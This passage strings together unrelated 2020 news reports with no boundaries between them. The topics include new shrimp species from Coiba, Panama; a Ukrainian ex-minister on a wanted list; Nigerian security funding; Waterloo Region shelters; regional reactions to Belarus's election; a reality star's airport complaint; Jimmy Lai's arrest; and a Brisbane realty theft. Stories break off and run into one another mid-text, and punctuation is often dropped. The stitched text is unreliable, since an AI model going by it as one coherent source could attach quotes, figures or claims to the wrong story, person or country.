programs based at the Coibita Station." The expedition was funded by STRI and the Gordon and Betty Moore Foundation as part of a much larger project called The Role of Microbes in Shaping Tropical Ecosystems. The aim of that project is to better understand how microbial communities evolve by comparing the microbes on "sister species," animals that were separated when the rise of the Isthmus of Panama divided one ocean into the Atlantic and Pacific, millions of years ago. Scientists want to better understand how closely associated microbes are with their hosts and the importance of environment and other factors in determining their presence. The researchers thank the Coiba National Park staff and Panama's Ministry of the Environment, MiAmbiente, for the collection permits that make new discoveries like this possible. "We collected Pachelpheus pachyacanthus and a new species of clam at the beach in Coibita in a meter of water at low tide, which to me says a lot about how rich, unique and incredibly understudied the marine fauna of Coiba National Park (and the Tropical Eastern Pacific) is," Leray said. In addition to Strianassa lerayi, other new shrimps were discovered by the STRI team working in Coiba in 2019 and described by Arthur Anker: Pachelpheus pachyacanthus: New genus and species of burrow-dwelling alpheid shrimp discovered on Isla Racheria (Coibita) near the boat parking area; the genus was named after Anker's friend and co-collector, Pachelle. Unesconia coibensis: New genus and species of miniature, sponge-associated palaemonid shrimp; the genus was named after UNESCO, which declared Coiba as World Heritage Site. Triacanthoneus blanca: Another new alpheid shrimp species named after Blanca Figueroa a former post-doc in staff scientist Aaron O'Dea's lab at STRI. The researchers also add Leslibetaeus coibita, also a new genus and species, which was described by Anker and collaborators in 2005 when Anker was a post-doctoral fellow at STRI. The species name indicates that it was collected in Coibita, right in front of the station. "New microbes are a dime a dozen," said Bill Wcislo, senior staff scientist and microbiome project leader along with Jonathon Eisen at the University of California Davis. "But several new host genera in a short time collecting in just one group of invertebrates. That is something remarkable. And a new species named for STRI and for Matt Leray is spectacular! It is just the tip of the iceberg for the Smithsonian's newest crown jewel." The Smithsonian Tropical Research Institute, headquartered in Panama City, Panama, is a unit of the Smithsonian Institution. The Institute furthers the understanding of tropical biodiversity and its importance to human welfare, trains students to conduct research in the tropics and promotes conservation by increasing public awareness of the beauty and importance of tropical ecosystems. Explore further New soft coral species discovered in Panama More information: Arthur Anker. Strianassa lerayi gen. et sp. nov., a new laomediid mud-shrimp from the eastern Pacific, with new records of Axianassa ngochoae Anker, 2010 and Heteroaxianassa heardi (Anker, 2011) in the western Pacific (Malacostraca: Decapoda: Gebiidea), Zootaxa (2020). Journal information: Zootaxa Arthur Anker. Strianassa lerayi gen. et sp. nov., a new laomediid mud-shrimp from the eastern Pacific, with new records of Axianassa ngochoae Anker, 2010 and Heteroaxianassa heardi (Anker, 2011) in the western Pacific (Malacostraca: Decapoda: Gebiidea),(2020). DOI: 10.11646/zootaxa.4820.3.6 Zlochevsky is suspected of standing behind an attempt to bribe leadership of Ukraine's anti-graft bodies. Mykola Zlochevsky, former minister of ecology and natural resources who was in office during the rule of the-then president Viktor Yanukovych and is being accused of organizing a major bribe offer to the chiefs of anti-corruption bodies, has been put on the wanted list. The relevant information is posted in the relevant section of the Interior Ministry's website, an UNIAN correspondent reports. Zlochevsky has reportedly been hiding from Ukraine's pre-trial investigation bodies since February 1, 2018, after he was last seen in Odesa. The ex-minister is charged under Part 4 of Article 369 of the Criminal Code of Ukraine (offering an unlawful benefit to a senior official). Zlochevsky bribe case background On June 12, three persons were detained upon the attempt to hand a $5 million bribe to the leadership of the National Anti-corruption Bureau and Specialized Anti-corruption Prosecutor's Office for closing the criminal proceeding targeting ex-ecology minister and president of Burisma Group Mykola Zlochevsky. Read alsoZelensky: Ukraine mustn't be dragged into U.S. election process over leaks Nigerian governors have asked President Muhammadu Buhari for a bailout fund to address the security situations in their states. The governors made this submission on Tuesday at a meeting between President Buhari, members of Nigeria Governors Forum (NGF) security council, and security chiefs at the Presidential Villa, Abuja. The meeting, held via videoconferencing, was also attended by Vice President Yemi Osinbajo. According to a statement signed by Mr Buharis spokesperson, Garba Shehu, Governor Kayode Fayemi of Ekiti State, in his remark, urged the president to consider a bailout for states; especially as governors allowed the federal government to withdraw $1 billion from the Excess Crude Account for the procurement of weapons to fight insecurity in the country. The governors had in April also urged the Central Bank of Nigeria to suspend all fund deductions from states and restructure their debt repayments to help safeguard the liquidity of state governments and mitigate the economic impact of the COVID-19 pandemic ravaging the economy. In their submissions anchored by their Chairman, Governor Kayode Fayemi of Ekiti State, and Governor Babagana Zulum of Borno State, the Governors highlighted the problems of poverty, unemployment, the trust deficit between the military and civilian populations and the inflow of small arms into the country, Mr Shehu wrote. The Governors also pointed to the problem of coordination among military and security chiefs and played up their own security roles which included USD1 billion they allowed the President to withdraw from the Excess Crude Account (ECA) for weapons procurement two years ago. They, therefore, urged the President to consider a bailout for security for the States in view of the enormity of the resources they now expend in support of the military and the police, Mr Shehu said. President Muhammadu Buhari presides over a virtual meeting with members of security committee of the Nigerian Governors Forum this afternoon, at the State House, Abuja. [PHOTO CREDIT: @BashirAhmaad] Nigerias security situation has continued to deteriorate in various areas. While Boko Haram insurgents still carry out attacks in Borno and neighbouring states, armed bandits attack communities in the North-west at will, killing and kidnapping residents. Kidnapping for ransom has also become widespread in many parts of the country. PREMIUM TIMES reported how the U.S. government recently cautioned its citizens not to travel to many states in Nigeria because of the security situation. The security situation has continued to deteriorate despite the defence sector taking a large chunk of Nigerias budget since 2015, often higher than education and health. The $1 billion withdrawn from the excess crude account was separate from the normal budgetary provisions for defence. Despite the monetary provisions, however, both the military and the police have continued to complain of underfunding and inadequate personnel and equipment. WATERLOO REGION Dormitory-style shelter spaces will be created in Waterloo Region to address the shortage of emergency beds for homeless men. Overwhelming demand for emergency shelter for single adult men has been an ongoing issue in recent years and every month this year shelters have been over capacity, despite extra temporary spaces added for winter overflow followed by the pandemic response. Regional council on Tuesday directed staff to lease two dormitory-style locations for up to one year, and explore developing alternative housing with supports on surplus regional lands to transition people out of the shelters while creating more emergency space. These immediate recovery actions would contribute to the work of ending chronic homelessness in Waterloo Region, Chris McEvoy, manager of housing policy and homelessness prevention, told councillors in an update on emergency shelter planning. The dormitory space would give people their own room, compared to shared rooms in a typical shelter. When people were moved from the Charles Street shelter into the Radisson Hotel to allow for physical distancing during the pandemic, the region found the relationship between residents and staff flourished, while behaviours related to mental health and addictions issues diminished. And they felt much more secure in their space, said Douglas Bartholomew-Saunders, the regions commissioner of community services. And as we talked more about having to move them out of the Radisson, they became more disengaged. Its anticipated that will stop operating by the end of this month as provincial and federal funding to co-ordinate community responses to the COVID-19 pandemic is exhausted. Bartholomew-Saunders said the new plan would be an interim step for a year that would house people in a university residence or hotel while a plan is put together for a longer-term solution where they have their own space. The cost for the dormitory space would be between $1.6 million to $3.6 million per location, including leasing and staffing with the variation depending on whether theyre run as overnight or 24-hour sites. The alternative housing would be $4 million to $7 million to buy, service and support. The report said funding from other sources will be explored, and the region will ask for expressions of interest for the development of alternative housing units. I cant say definitively how the plan as contemplated would be funded, said chief financial officer Craig Dyer, adding that there are federal and provincial pandemic funds promised and also more the region could apply for. He also added that the plan would need ongoing funding, and hes not clear where that would come from. Regional Chair Karen Redman said this is a priority, but I did have some sticker shock. The dorm-style accommodations, offering about 80 spaces at each site for a minimum of 144 people, is proposed to operate from September to next August. The alternative housing for about 100 people could be ready for occupancy next spring, but that will need to come back to council for approval. Coun. Elizabeth Clarke echoed several delegations by saying the proposal didnt represent the full number of unsheltered people, but she added that not all of those people want to access regionally run facilities. She asked staff if there the possibility of expanding if needed. Ryan Pettipiere, director of housing services, said the numbers were based on peak shelter occupancy. He acknowledged that whats proposed is not likely enough to serve the entire homeless population, especially since its difficult to get a handle on the number of unsheltered people in the region, but it is a start. A major challenge is providing a variety of options based on individual needs and choices with a finite budget, but there is a commitment to reimagining the regions shelter system. We know that we have significant work to do on this front, Pettipiere said. Congratulations came first from Chinas president. Then from the entrenched leaders in Tajikistan, Azerbaijan, Uzbekistan, Russia, and more. Behind the warm words welcoming the Belarusian states announcement that Alyaksandr Lukashenka had won a sixth term by a landslide were cold calculations, observers said: First, how to secure more time in power in their own countries; and secondly, what to do when faced with strong public opposition themselves. Opponents, meanwhile, looked to the Belarusian election and its aftermath for hints about how to challenge those in power. And they took note as an unlikely candidate drew crowds of supporters in the run-up to the August 9 election -- and then again as protests against the official results were met with a violent security crackdown. Authoritarian leaders in former Soviet republics want to maintain power, said Paul Stronski, a former White House and State Department official. They also want stability, he said. The type of violence that youre seeing, the [Azerbaijani and Kazakh governments] dont want that, Stronski, who worked on Russia and Central Asian policy at the White House National Security Council from 2012 to 2014, told RFE/RL. The signal of congratulations is to try to solidify, turn the page on the protest, because [such upheaval] sends bad signals across the region, he added. Similar Situations Several of the countries whose leaders were quick to congratulate Lukashenka face their own sets of problems and discontent. Most have struggled to deal with the coronavirus pandemic and the economic chaos it has unleashed on already brittle economies. High turnout & ballot results once again demonstrated the peoples great confidence in you, Uzbek President Shavkat Mirziyoev said in his congratulatory message to Lukashenka. That assessment flies in the face of the massive protests that continue to shake Belarus amid opposition claims that the official result for Lukashenka more than 80 percent of the vote is a fiction. Along with Uzbekistan, Kazakhstan is Central Asias economic engine, and the latter country has weathered the economic downturn better than some neighbors. Its aging longtime ruler, Nursultan Nazarbaev, stepped aside as president in 2019 but retained influential positions. Observers have pointed to the beginnings of a quiet succession struggle and wondered how long the current president, Qasym-Zhomart Toqaev, will stay in power. Protests erupted in Kazakhstan last year after the election that formally enshrined Toqaev in the presidency, but the countrys long-oppressed opposition remains splintered and marginalized by security forces. Some opposition figures drew parallels between Lukashenkas moves and those Nazarbaev has made, suggested that the opposition to Lukashenka was an example for Kazakhstan. Mukhtar Ablyazov, a Kazakh fugitive who has been accused of stealing millions from a bank and is now an outspoken government opponent, called the Belarusian results falsified. He suggested parallel actions for Kazakh activists looking to replicate the challenge mounted against Lukashenka: Dictators will never succeed. This should be a lesson for other dictators like Nazarbaev, said Zhanbolat Mamai, a political activist who has spearheaded the creation of a new opposition party: Like Kazakhstan and Uzbekistan, Azerbaijan has relied heavily for years on oil and gas exports to bolster its economy, and President Ilham Aliyev has spent lavishly to transform the capital, Baku, and other parts of the country. He persistently suppressed political opposition groups, independent media, civil society organizations and, according to numerous corruption researchers, has enriched himself and his family. While Aliyev congratulated Lukashenka, the leader of one of the main opposition parties also drew parallels with the situation in Azerbaijan. The people of Belarus revolted and demanded their rights, and they will get them, Ali Karimli, a leader of the National Front Party, said in a post on Facebook. Repressions and arrests don't guarantee eternal rule. All of them will be defeated and be left on history's black page. Brittle States The ex-Soviet republic that observers say faces more imminent political risk is the country that will next hold a presidential election: Tajikistan. The incumbent, Emomali Rahmon, has been in power since 1992 longer than any leader in the former Soviet Union, including Lukashenka. In recent years, he, his allies, and his relatives have consolidated their grip over swaths of the Tajik economy and government entities; theyve also tried to assert stronger authority over regions like restive Gorno-Badakhshan, where distrust of the Dushanbe government is deep. Rahmon, 67, has not announced whether he will stand for reelection in the vote scheduled for October 11. He has won past elections handily but, like in Belarus, they have been denounced by observers and marred by evidence of fraud. His son, Rustam, however, has taken on an increasingly public profile in state media in recent years and now is a top official in the Tajik parliament and mayor of the countrys capital, Dushanbe. That has fueled speculation that Rahmon is positioning his son to take over in a dynastic succession similar to the one in Azerbaijan, where Aliyevs long-ruling father steered his son into the presidency shortly before his death in 2003. That prospect has caused concern among Tajiks seeking change, like voters in Belarus. In Belarus, services still kind of work. Thats not the case in Tajikistan. Hearing and seeing one person continuously at the helm of power and at the same time not seeing any changes in socio-political and economic processes -- that caused anxiety for Belarusians, Shokirjon Hakim, a Tajik lawyer and political activist, told RFE/RLs Tajik Service. They, too, in the end saw no other way [to prompt a] change of power than protests." Tajikistan is quite brittle, Stronski said. The country has really moved toward full authoritarian, moved from a rentier state.... Its one of the most fragile states of the former Soviet Union. Lukashenka has overseen the Belarusian economys slow growth, but hes also succeeded in building a wide social welfare net and a central-command economy that long blunted discontent that could result from joblessness or widespread poverty. In Tajikistan, the countrys isolation, its lack of natural resources like oil and gas, and the legacy of an impoverished population has been compounded by the Rahmon governments policies, his critics say. In Belarus, services still kind of work, Stronski said. Thats not the case in Tajikistan. In Georgia, where parliamentary elections will also be held in October, the ruling Georgian Dream party had been consolidating its power until a brutal crackdown on peaceful demonstrators in 2019, which cast a shadow over Georgian Dreams future plans. Teona Akubardia, a security expert affiliated with a party called Strategy Builder, told RFE/RLs Georgian Service that the Georgian authorities should look at the Belarusian turmoil with an eye to averting the potential for Russian meddling in the upcoming campaign. "Georgia must carefully assess the processes taking place in Belarus and, consequently, must assess the threats: what mechanisms Russia can use to intervene in Georgia in the October parliamentary elections, Akubardia said. The Maidans Shadow For many leaders in the former Soviet Union, the echoes of the Maidan -- the popular unrest that shook Ukraine in 2013 and 2014 -- still reverberate. That has affected how elections are conducted and how public protests are handled. Then-President Viktor Yanukovychs decision to spurn closer ties with the European Union and turn toward Moscow sparked months of massive street protests. They culminated in a spasm of violence in early 2014, when riot police cracked down and snipers killed dozens of people. Russian President Vladimir Putins government has falsely called the protests that ousted Yanukovych a Western-backed coup. The Kremlin and other authoritarian leaders in the region have been determined to avoid a repeat of the Maidan or another color revolution a reference to popular protests and upheavals in Georgia, Ukraine, Kyrgyzstan, and elsewhere. The word Maidan and the word color revolution have bad connotations [for governments] across the region; they denigrate it as not a bottom-up action, but something from the top, thats been purposely organized, and that it brings chaos, Stronski said. When it comes to the leaders currently in power, he said, no one wants a color revolution or another Maidan, he said. With reporting by RFE/RLs Georgian, Kazakh, Tajik, and Azerbaijani services She launched an impassioned rant against easyJet staff on Monday after nearly missing a flight to Greece amid COVID-19 pandemic. Yet Molly-Mae Hague appeared to have forgotten her woes by Tuesday, as she shared a series of smouldering bikini snaps to her Instagram page. The Love Island star, 21, showcased her stunning figure in a cream bikini teamed with semi-sheer co-ords as she posed against a stunning seascape backdrop. Bikini babe: Molly-Mae Hague appeared to have forgotten her woes by Tuesday, as she shared a series of smouldering bikini snaps to her Instagram page The PrettyLittleThing ambassador was flaunting her ample assets and svelte waist in the triangle-style bikini top, which she teamed with matching bottoms. She layered her look with a pair of high-waisted semi-sheer linen trousers, while wearing a matching oversized shirt slung over he shoulders. The blonde beauty wore half of her golden locks swept back off her face and accessorised with gold earrings and a pair of sunglasses. Molly toted her belongings in a crochet beach bag. Goldie locks: The Love Island star, 21, showcased her stunning figure in a cream bikini teamed with semi-sheer co-ords as she posed against a stunning seascape backdrop On Monday, the influencer took to Instagram to detail her Gatwick Airport experience, in which she had failed to correctly fill in the required Passenger Locator Form (PLF) in the right time frame, yet was thankfully saved by her sister's form. While the reality personality conceded that the entire incident was her 'own fault', she did however warn fans that the coronavirus restrictions are 'SO STRICT' and urged followers to fill in their forms on time. Molly-Mae was jetting to meet her co-star boyfriend Tommy Fury and their fellow Islander Maura Higgins in Greece when the incident happened. Fuming: Molly-Mae launched an impassioned rant against easyJet staff on Monday after nearly missing a flight to Greece amid COVID-19 pandemic As she chronicled her woes to her 4.4million followers, she posed for a selfie with her sister and wrote: 'Never had a more stressful airport experience in my life. 'If you're flying to Greece/Crete or anywhere you need a QR code then please please please make sure you do it 48 hours before your flight. 'I did mine last night and when I arrived at the airport, I was told I wasn't allowed to fly today, luckily my sister had put me on the 'notes' section of her QR code form and it meant I was allowed to fly... Finally! Molly-Mae took to Instagram to detail her Gatwick Airport experience, in which she had failed to correctly fill in the required Passenger Locator Form (PLF) in the right time frame, yet was thankfully saved by her sister's form All white? When she finally arrived in Greece she snapped selfies in a PrettyLittleThing look '(shoutout to the group of people who asked for a pic and told us that this wasn't allowed!) I had literally booked my car home and was sending Zoe by herself. 'It is SO STRICT and the @easyjet staff were so so unhelpful and rude. Admittedly this was my fault however there is nothing on the website that tells you about a time frame. 'I felt so bad for all the family's and couples that were in the same position as me but hadn't done the notes section thing so I just wanted to warn everyone!!!' Restrictions: The easyJet website provides instructions for each country still being flown to, in which it is illustrated what must be done before travelling Linked: The website connects through to the Greece tourist board website A spokesperson for easyJet told MailOnline: 'Like all airlines, easyJet is currently required by the Greek authorities to ensure that all passengers travelling from the UK to Greece are able to present verification of a completed health declaration form to be able to travel. 'We know that this is different to how many of our customers are used to travelling, which is why we are providing clear guidance on what customers must do to prepare for their flight and are notifying them of any requirement to complete a health declaration form when booking and ahead of their trip via email, SMS and via our Flight Tracker. Customers are also alerted to the importance of checking any current travel requirements on our easyJet.com homepage and direct links to all relevant forms can be found via our Know Before You Go information pages at easyJet.com. 'Our ground crew aim to provide the highest levels of customer service and as such are required to ensure that our passengers have the necessary documentation from the relevant authorities so that they can travel and enter their destination without issue.' But Brits desperate for a foreign break have set their sights on destinations in Greece, such as Crete, Corfu and Santorini, as reported by The Sunday Telegraph. Stunning: When Molly-Mae had arrived, on Tuesday morning she shared stunning snaps and videos of the idyllic location of their stay The easyJet website provides instructions for each country still being flown to, in which it is illustrated what must be done before travelling. When Molly-Mae had arrived, on Tuesday morning she shared stunning snaps and videos of the idyllic location of their stay. Her trip comes after it was revealed that British holidaymakers are gambling on trips to Greece instead of Spain, despite an increase in coronavirus cases in the country - as fears grow of a second spike in France. The government changed travel advice required people who return from Spain to England to quarantine for two weeks, devastating tourists looking forward to their summer holiday. Source: Xinhua| 2020-08-11 14:54:36|Editor: huaxia Video Player Close SYDNEY, Aug. 11 (Xinhua) -- Using only a high-tech filter and the power of direct sunlight, Australian researchers have developed a world-first technology that can make large volumes of seawater safe to drink in less than 30 minutes. According to the Melbourne-based Monash University, the specially-designed filter is capable of generating hundreds of litres of drinkable water per day, and requires only direct sunlight to purify it, making the process energy-efficient, low cost and sustainable. Used in making the filters are metal-organic frameworks (MOFs), a class of compounds consisting of metal ions that form a crystalline material with the largest surface area of any material known. During the desalination process, a functionalised MOF filter firstly adsorbs salts from water, which consumes no energy, then the salt filled MOF can be put under sunlight to regenerate, taking less than four minutes, before it can absorb salt from water again. Lead author of the research, Professor Huanting Wang from the Department of Chemical Engineering at Monash University, said the desalination is a feasible option to address the pressing water shortage crisis around the world. "Desalination has been used to address escalating water shortages globally. Due to the availability of brackish water and seawater, and because desalination processes are reliable, treated water can be integrated within existing aquatic systems with minimal health risks," Wang said. "But thermal desalination processes by evaporation are energy-intensive, and other technologies, such as reverse osmosis, has a number of drawbacks, including high energy consumption and chemical usage in membrane cleaning and dechlorination." With low energy consumption and no chemicals needed during the process, Wang said this highlights the durability and sustainability of this new technology for future clean water solutions. "This study has successfully demonstrated that the photoresponsive MOFs are a promising, energy-efficient, and sustainable adsorbent for desalination," he said. "Our work provides an exciting new route for the design of functional materials for using solar energy to reduce the energy demand and improve the sustainability of water desalination." Enditem MOBILE, Ala., Aug. 11, 2020 /PRNewswire/ -- The American Equity Underwriters, Inc. (AEU), the leading provider of workers' compensation for waterfront employers, will host their first-ever AEU Virtual Forum on September 9, 2020. AEU holds educational events that attract more than 200 maritime industry professionals annually with relevant, interactive presentations and discussions on safety, claims, personnel, operations, and leadership. "We want to continue addressing the day-to-day challenges of employers while encouraging them to think differently about their businesses, their employees, and the future even when gathering is a challenge," said Adele Hapworth, chief operating officer of AEU. "While we look forward to holding in-person events again soon, with our Virtual Forums, our members can learn new ideas and discuss challenges without leaving their facility." The first Virtual Forum will have six sessions running concurrently. Attendees can choose which sessions they wish to attend. Speakers and topics include: Dr. Dan Diamond , "Unstoppable: Leading Change in a High-Stakes World" , "Unstoppable: Leading Change in a High-Stakes World" Dr. Terry Taylor , "Telemedicine in the Post-COVID World" , "Telemedicine in the Post-COVID World" Jimmy Burgin , "Focus on What You Can Control: Evolving Your Safety Program for a Changing Industry Landscape" , "Focus on What You Can Control: Evolving Your Safety Program for a Changing Industry Landscape" Joe White , "Leading the Change: Is Your Company Prepared for What's Next?" , "Leading the Change: Is Your Company Prepared for What's Next?" Bobby Anderson , Ray Ruiz , and Christian Murillo , "Establishing a Base Line: How Improvements in Situational Awareness Set the Stage for Safer Workplaces" "Establishing a Base Line: How Improvements in Situational Awareness Set the Stage for Safer Workplaces" Ann Edelman , "No Plan, No Problem: A Guide to Creating a Crisis Management Plan on Your Own" The event is free for members of the American Longshore Mutual Association (ALMA) and $300 for the public. The full agenda and registration details are available on the event website. About The American Equity Underwriters, Inc. With headquarters in Mobile, Alabama, The American Equity Underwriters, Inc. serves as program administrator for American Longshore Mutual Association Ltd., a group self-insurance fund authorized by the U.S. Department of Labor for waterfront employers in all 50 states under the United States Longshore and Harbor Workers' Compensation Act. AEU provides best-in-class services including claims handling, loss control, longshore consulting and other support. For more information, call (866) 238-8754 or visit amequity.com. Follow AEU on Facebook and LinkedIn. SOURCE The American Equity Underwriters, Inc. Related Links https://www.amequity.com/ Due to the blockade of the roads leading to the Amulsar gold mine over the past two years, Lydian company and contractors have been forced to cut more than 1,400 jobs, including in communities near Amulsar; Lydian Armenia informed about this in a statement. The company added that it plans to start a job reinstatement process within the framework of the law. And as the first respective step, the company announces a reassessment of its personnel base in the communities nearby Amulsar, and taking into account the emigration and outflow of staff in recent years. It is noted in the statement that those who wish from the aforesaid communities can send the necessary information about themselves to the Email address of Lydian Armenia as of Wednesday, or pass it on to the Lydian representatives in these communities. Thousands of copies of his newspaper, Apple Daily, sold. On the back of Democratic front appeal, the tabloid's shares grow by a record 344%. Entrepreneurs two sons also arrested. As a sign of solidarity, at least 100 people queued to buy food in the second sons restaurant. Democratic activist Agnes Chow and journalist Wilson Li also detained. Hong Kong (AsiaNews) - Thousands of citizens today bought copies of Apple Daily, the newspaper of the publishing mogul Jimmy Lai who was arrested yesterday along with other pro-democracy personalities under the new security law imposed by Beijing. The citizens thus wanted to show support for Lai, considered a hero of the democratic struggle, and anger towards the Chinese authorities. Due to the great demand, the well-known tabloid - often a critic of the Chinese regime - printed 500 thousand copies; it usually stops at 100,000. Lai, one of the most critical voices of the Chinese Communist Party, was arrested yesterday for "collaboration with foreign forces" and "conspiracy for the purpose of fraud": he is the most prominent person arrested under the provision, which came into force on 30 June. Two months ago Lai was already accused of "inciting an unauthorized demonstration" in August 2019; added to this is another accusation of having "incited" people to participate in the vigil last June 4 in memory of those killed in Tiananmen. At least 200 police officers carried out a raid on the Apple Daily newsroom yesterday. For the Hong Kong Association of Journalists, the large-scale search of the newspaper is "unprecedented". Apple Daily, which many in the former British colony see as the only newspaper ready to tell the truth, has vowed to "keep fighting" on its front page today. Immediately after Lai's arrest, the newspaper's shares plummeted by 17%. In the afternoon, after the Democratic front called on the population to support the tabloid, they rose by 344%, a record high. In the largest round-up since the introduction of the new legislation, the police arrested 10 people. Two of his sons and four collaborators were arrested together with Lai. The police searched the "Four Seasons Meals", the restaurant of the entrepreneur's second son. The venue was reopened today; at least 100 people showed up to buy take-out food. Some of them wore yellow masks to show their support. Police yesterday also arrested young activist Agnes Chow and freelance journalist Wilson Li. Chow is a former leader of Demosisto, the now dissolved independence group; Li is a contributor to the UK TV channel ITN, and a former member of the pro-democracy student group Scholarism. As South Africa continues to ease coronavirus restrictions, technical and public health experts are working on plans to protect the health of the 14 million South Africans who rely on a network of minibus taxis to get to work, school and other destinations. Innovators and investors say this could be an African solution to a problem that affects millions of others in Africa, and beyond. The humble minibus taxi is a lifeline for more than 70 percent of South Africas workforce. The informally regulated system of vans, each seating about 14 passengers, is a mainstay in the nations major cities and in its rural areas. But health experts worry this system is a breeding ground for coronavirus because of riders close quarters and the high volume of passengers. A new South African non-profit initiative, led by businessman Andile Ramaphosa, who is also the eldest son of President Cyril Ramaphosa, is trying to address this gap as the nation attempts to revive its economy after more than nine weeks of strict lockdown, which started in March and has since eased off. He told VOA it is critical to deal with the transport issue for commuters. Lockdown worked in this country in terms of reducing the spread of COVID. And it worked because people were not going anywhere. And that was really great and allowed government to prepare and do all the things they needed to do. When we insisted, as business, and as South Africans, lets open this economy, by not dealing with the commute, we basically undid what was happening with lockdown. So if you deal with the transport sector, because COVID is a virus that moves through the transport sector, if you deal with that effectively, you can actually put in an artificial lockdown. So for us, we saw that, and said, Great. We need to come up with solutions, Ramaphosa said. HIV researcher Dr. Jenny Pfeiffer-Coetzee, founder and director of the African Potential Foundation, says her team has come up with several solutions, ranging from simple to complex. What we're looking at is a system very similar to what's been used in ambulances, and that is to adapt a UVC air filter that allows the airflow to be encouraged within the taxi using various fans within the filter. And it passes through the filter where it's then irradiated within a matter of seconds, and its then transmitted back into the taxi to be circulated out of the taxi, Pfeiffer-Coetzee said. Her team is also considering an alarm system that alerts passengers to open the windows to allow fresh air to circulate; sanitizing stations that passengers can use to clean their hands before boarding, and a divider between the driver and passengers. These measures, says Ramaphosas team, could decrease the risk of infection by up to 80%. So far, the team's Supplier Development Initiative (SDI) has outfitted 5,000 school transport taxis and 1,000 commuter taxis, at an estimated cost of about $340,000. much of it provided by donors. Ramaphosa says its been a steep learning curve, but a worthwhile one. Its been quite a journey of discovery, for us non-scientists, to bring all these people together with one thing in mind: we need to get our people to work safely, and we need to save lives, he said. Pfeiffer-Coetzee said the team is also looking at how to scale the model up to fit other African countries, which use similar transport systems to move millions of people each day. Dr Matthew Opoku Prempeh, the Minister for Education has given assurance that President Nana Addo Dankwa Akufo-Addo is committed to ensuring that no child in Ghana denied access to senior high school education He said President Nana Akufo-Addo will also ensure that no child is left behind for the sole reason that their family was unable to pay for their education. Dr Matthew Opoku Prempeh, the Minister for Education has given assurance that President Nana Addo Dankwa Akufo-Addo is committed to ensuring that no child in Ghana denied access to senior high school education He said President Nana Akufo-Addo will also ensure that no child is left behind for the sole reason that their family was unable to pay for their education. The Minister added: In our effort to achieve greater access to education, we recognize that access alone is no adequate in guaranteeing the quality education we desire. For this reason, the government is committed to ensuring quality and relevant education that will produce confident, skilled and global citizens who are ready and able to compete with their counterparts anywhere in the world. In a statement on Education and Teacher Reforms presented to Parliament, the Minister said from the very beginning of the Administration of the governing New Patriotic Party, it resolved to pursue bold and transformative measures to address fundamental challenges that had undermined education, including access to, equity in and quality of education. He outlined some of the measures as the increase in the Capitation Grant from GH4.5 per child per year to GH10.00 in 2017/18 academic year and observed that the 122% increase in per capita Capitation Grant had contributed to removing the cost barriers to free access and provide schools with the minimum amount of funds required to keep schools running. There was also an increase in the pupil to a trained teacher to 1:37 at the Kindergarten level and 1:33 at the Primary level in 2019. The percentage of trained teachers has also improved to 88% at the Primary level. Dr Opoku Prempeh noted that learning outcomes were low across the pre-tertiary levels of education. He said both in 2013 and 2015 Early Grade Reading Assessment (EGRA) and Early Grade Mathematics Assessment (EGMA) results showed that by the end of Primary 2, only 2% or less of pupils could read with fluency and comprehension, whilst the majority of pupils do not perform well in mathematics beyond the procedural level. In the National Education Assessment (NEA) conducted in 2016, only 11% of Primary 6 pupils were proficient in Mathematics. The Minister said the initiatives, which he described as well thought out since 2017 are beginning to yield results, and referred to the 2018 National Education Assessment proficiency rate in Mathematics increased from 11% in 2016 to 22% in 2018. He noted that the secondary level, performance in West Africa Secondary School Certificate (WASSCE) was poor. From 2011 to 2016, approximately 75% of all Candidates failed to achieve qualification for tertiary education. In 2015, approximately 49% of candidates scored F9 in mathematics and 37% of candidates scored F9 in Integrated Science. To improve performance, the Minister said the Government had invested in the supply of relevant instructional resources to schools, recruited and deployed teachers, provided in-service training to teachers with a focus on mathematics and science, and strengthened school leadership and management. In 2019, the pass rate in Mathematics reached 65%, the highest ever since the exams were introduced decades, the Minister said, adding that similarly, the proportion of students that scored F9 in mathematics had declined from 45% in 2015 to 14% in 2019. In integrated Science, the pass rate increased from 48% in 2016 to 63% in 2019. Also, the proportion of students that scored F9 in Integrated Science declined from 37% in 2015 to 10% in 2019. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Screenwriter Ken Shadie cut his teeth working during the pioneer television years in Australia on sketches for Channel Seven's variety show Revue 61 but it was writing comedy scripts for Paul Hogan and his characters like Leo Wanker that was to set him on the path to success. He and Paul decided there was more to life than producing one-hour scripts so they hit on the idea for writing a full-length movie. The movie was to be Crocodile Dundee in which the Hogan character, briefly, was initially named "Buffalo Jones". Ken Shadie (right) with actress Carol Raye and director David Cahill. Ken Shadie was the son of Albert Nicholas Shadie, Australian born of Lebanese Christian descent, and Edith (nee Rayner) from Manchester, England. His mother almost drowned at the age of 14 the day after arriving from England when she went for a swim at Balmoral. Albert, or Bert as he was known, was a jack of all trades including builder, oyster farmer and bookie. Ken Shadie, born in Bondi on December 8, 1935 was raised in Lane Cove and spent some of his early years in Brooklyn, on the Hawkesbury, where his grandmother ran the cafe at Kangaroo Point when there was just a car ferry crossing the river. The first road bridge was built in 1943 and Ken, aged eight, looked on as the workmen floated in the pylons. Dothan police apprehended a man wanted in Jackson County, Florida, Monday at Southeast Health. Domingo Hamilton Fernando, 22, of Marianna, was arrested on an outstanding fugitive from justice warrant. According to police, the department was notified by the Jackson County Sheriffs Office to arrest Fernando following his release Monday from the hospital. Fernando was confronted Wednesday by Jackson County Sheriffs Office deputies about a burglary in the Dogwood Heights community, when he led officers on a high-speed chase, before losing control of the vehicle and crashing. Following the crash a 17-year-old girl crawled out of the car, a 2-year-old child was found in the backseat, and a toddler was found after they were thrown from the car and into the grass nearby. It was determined the children were related to Fernando. All three children were unharmed, but transported to a hospital to be evaluated. Officers were unaware of the childrens presence before the chase began. Fernando received trauma injuries to the head and facial area as a result of the crash and was Life-Flighted to Southeast Health. A successful real estate agent swindled $87,000 in rent money from a company to feed her meth addiction. Janet Nadj, 37, worked as a senior property manager for Cornerstone Realty in Brisbane when she pocketed rent and bond money she was meant to forward to the Residential Tenancies Authority. Cornerstone's chief executive became suspicious after the trust account didn't balance out, and launched an external investigation in 2018. Janet Nadj, 37, worked as a senior property manager for Cornerstone Realty in Brisbane when she pocketed rent and bond money she was meant to forward to the Residential Tenancies Authority The inquiry revealed Nadj stole $87,000 through 50 separate transaction over an 18-month period, the Courier Mail reported. 'She manipulated the trust accounting system to hide her offending by creating false entries showing money she obtained had been banked,' prosecutor Hamish McIntyre told the court. Nadj 